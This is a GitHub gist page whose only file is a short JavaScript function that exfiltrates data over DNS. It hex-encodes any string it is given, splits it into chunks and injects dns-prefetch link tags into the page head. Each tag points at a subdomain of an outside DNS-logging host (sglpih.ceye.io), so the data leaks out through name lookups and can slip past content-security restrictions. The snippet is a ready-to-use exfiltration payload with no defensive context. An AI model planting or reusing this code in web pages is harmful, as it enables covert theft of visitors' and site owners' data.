Last active
February 27, 2025 06:35
-
-
Save mozhu1024/30bb56b5166cd0c7430ca32c93c9564a to your computer and use it in GitHub Desktop.
Revisions
-
mozhu1024 renamed this gist
Feb 27, 2025 . 1 changed file with 0 additions and 0 deletions.There are no files selected for viewing
File renamed without changes. -
mozhu1024 created this gist
May 21, 2019 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,18 @@ function sendData(data, tag = "t") { if (data.length <= 0) { return; } // str2hex var val = ""; var html = ""; for (var i = 0; i < data.length; i++) { val += data.charCodeAt(i).toString(16); } // send bby dns-prefetch for (var j = 0; j < 100; j++) { var tt = val.substr(j * 48, 48); if (tt.length == 0) break; html += `<link rel="dns-prefetch" href="//${tag}_${j}_${tt}.sglpih.ceye.io">`; } document.head.innerHTML += html; }